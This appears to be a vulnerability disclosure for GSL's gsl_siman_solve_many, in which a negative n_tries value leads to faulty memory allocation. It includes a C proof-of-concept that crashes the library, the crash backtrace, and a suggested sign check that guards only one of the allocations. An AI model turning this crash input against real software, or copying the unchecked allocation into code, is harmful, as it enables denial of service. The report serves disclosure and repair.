Integer Overflow
function gsl_siman_solve_many
in file gsl/siman/siman.c
The vulnerability occurs when params.n_tries
is set to a negative integer, which leads to incorrect memory allocation in the following lines of code:
x = (void *) malloc (params.n_tries * element_size);
new_x = (void *) malloc (params.n_tries * element_size);
energies = (double *) malloc (params.n_tries * sizeof (double));
probs = (double *) malloc (params.n_tries * sizeof (double));
sum_probs = (double *) malloc (params.n_tries * sizeof (double));
…
memcpy (x, x0_p, element_size);
Here is a minimal code example that demonstrates the vulnerability:
#include <gsl/gsl_siman.h>
#include <gsl/gsl_rng.h>
#include <gsl/gsl_vector.h>
double objective_function(void *xp) {
return 0.0;
}
void take_step(const gsl_rng *r, void *xp, double step_size) {
}
int main(void) {
gsl_rng *r;
gsl_rng_env_setup();
r = gsl_rng_alloc(gsl_rng_default);
// Initialize GSL Simulated Annealing parameters
gsl_siman_params_t p;
p.n_tries = -1;// Integer overflow vulnerability: invalid number of trials
gsl_vector *x0 = gsl_vector_alloc(1);
// Call the simulated annealing solver (this is the key call for the vulnerability)
gsl_siman_solve_many(r, x0, objective_function, take_step, NULL, NULL, sizeof(gsl_vector), p);
return 0;
}
To compile and run the above code:
$ gcc test.c -o test -lgsl
$ catchsegv ./test
Segmentation fault (core dumped)
*** signal 11
Register dump:
RAX: 0000000000000000 RBX: fffffffffffffff8 …
Trap: 0000000e Error: 00000006 OldMask: 00000000 CR2: 00000000
…
Backtrace:
/lib/x86_64-linux-gnu/libc.so.6(+0x1a07e1)[0x752cfd3a07e1]
/lib/x86_64-linux-gnu/libgsl.so.27(gsl_siman_solve_many+0x10d)[0x752cfd749aed]
./test(+0x125b)[0x5d80a762525b]
/lib/x86_64-linux-gnu/libc.so.6(+0x29d90)[0x752cfd229d90]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0x80)[0x752cfd229e40]
./test(+0x10e5)[0x5d80a76250e5]
This issue could be mitigated by adding a sign check before allocating memory. For example:
if (0 <= params.n_tries) {
x = (void *) malloc (params.n_tries * element_size);
}